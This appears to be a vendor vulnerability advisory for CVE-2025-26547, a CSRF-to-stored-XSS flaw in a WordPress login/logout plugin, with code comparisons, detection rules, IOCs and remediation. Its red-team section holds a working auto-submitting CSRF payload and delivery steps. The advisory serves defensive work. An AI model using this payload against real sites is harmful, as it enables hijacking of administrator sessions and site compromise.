CVE-2025-26547
Executive Summary
CVE-2025-26547 is a Cross-Site Request Forgery (CSRF) vulnerability in the My Login Logout Plugin (my-loginlogout) for WordPress, affecting versions up to and including 2.4. The vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious JavaScript (Stored XSS). This is a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). The CVSS score is 7.1 (High), and no patch is currently available from the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing tampered versions.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – impacts confidentiality, integrity, and availability
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High due to the combination of CSRF and Stored XSS, enabling persistent compromise of the WordPress admin interface.
Deep Dive & Mechanics
The vulnerability resides in the plugin's admin-facing functionality. The plugin fails to implement a nonce or CSRF token in its settings forms, allowing an attacker to craft a malicious request that, when executed by an authenticated admin, modifies plugin options or injects arbitrary JavaScript. The injected script is stored in the WordPress database and executed whenever the admin page is loaded, leading to Stored XSS.
Attack Flow:
- Attacker crafts a malicious HTML page or email containing a CSRF payload.
- Victim (authenticated WordPress admin) visits the page/email.
- The payload sends a forged POST request to the plugin's settings endpoint.
- The plugin processes the request without verifying the origin, updating settings or injecting malicious script.
- The injected script executes in the admin's browser, allowing the attacker to steal session cookies, create rogue admin accounts, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (my-loginlogout <= 2.4):
// No nonce check in settings form
<form method="post" action="options.php">
<input type="text" name="my_loginlogout_option" value="<?php echo get_option('my_loginlogout_option'); ?>" />
<input type="submit" value="Save" />
</form>
Patched Code (hypothetical):
// Add nonce field
<form method="post" action="options.php">
<?php wp_nonce_field('my_loginlogout_settings'); ?>
<input type="text" name="my_loginlogout_option" value="<?php echo esc_attr(get_option('my_loginlogout_option')); ?>" />
<input type="submit" value="Save" />
</form>
// Verify nonce on save
if ( isset($_POST['_wpnonce']) && wp_verify_nonce($_POST['_wpnonce'], 'my_loginlogout_settings') ) {
update_option('my_loginlogout_option', sanitize_text_field($_POST['my_loginlogout_option']));
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with My Login Logout Plugin <= 2.4 installed and activated.
- Authenticated admin session (victim).
Exploit Payload (CSRF + Stored XSS):
<html>
<body>
<form id="csrf" action="http://target/wp-admin/options-general.php?page=my-loginlogout" method="POST">
<input type="hidden" name="my_loginlogout_option" value="<script>alert('XSS')</script>" />
<input type="submit" value="Submit" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Steps:
- Host the above HTML on an attacker-controlled server.
- Send the link to the victim admin via email or social engineering.
- Once the admin visits the page, the form auto-submits, injecting the XSS payload.
- The injected script executes on the admin dashboard.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
/wp-admin/options-general.php?page=my-loginlogoutwithout a valid nonce. - Use WAF rules to block requests containing
<script>tags in plugin settings parameters.
Mitigation:
- Disable or remove the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to prevent inline script execution.
- Use a Web Application Firewall (WAF) with CSRF protection rules.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/options-general.php?page=my-loginlogoutwith suspicious parameters. - Referer header missing or spoofed.
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries containingmy_loginlogout_optionwith JavaScript payloads.
- Modified
- Log IOCs:
- WordPress debug logs showing unexpected
update_optioncalls formy_loginlogout_option.
- WordPress debug logs showing unexpected
Detection Engineering
YARA Rule
rule CVE_2025_26547_CSRF_XSS {
meta:
description = "Detects CSRF + Stored XSS payloads targeting My Login Logout Plugin"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-26547"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_param = "my_loginlogout_option"
condition:
$plugin_param and $xss_payload
}
Sigma Rule
title: CVE-2025-26547 CSRF to Stored XSS in My Login Logout Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects POST requests to plugin settings with potential XSS payloads
author: Valters IT
date: 2025-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'page=my-loginlogout'
cs-uri-query|contains: 'my_loginlogout_option'
condition: selection
falsepositives:
- Legitimate plugin configuration changes
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26547 CSRF to Stored XSS in My Login Logout Plugin"; flow:to_server,established; content:"POST"; http_method; content:"page=my-loginlogout"; http_uri; content:"my_loginlogout_option"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
my-loginlogoutfrom the WordPress admin panel. - Audit for compromise – Check
wp_optionstable for malicious entries and review admin user accounts. - Apply virtual patching – Use a WAF to block requests to
/wp-admin/options-general.php?page=my-loginlogoutwithout a valid nonce.
Long-term Fix:
- The vendor must release a patched version (>= 2.5) that includes CSRF nonce verification and output sanitization.
- Until then, consider replacing the plugin with an alternative that is actively maintained.
Workaround:
- Add the following code to the theme's
functions.phpto enforce a nonce check (if the plugin allows custom hooks):
add_action('admin_init', function() {
if (isset($_POST['my_loginlogout_option']) && !wp_verify_nonce($_POST['_wpnonce'], 'my_loginlogout_settings')) {
wp_die('CSRF detected.');
}
});
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-26547
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.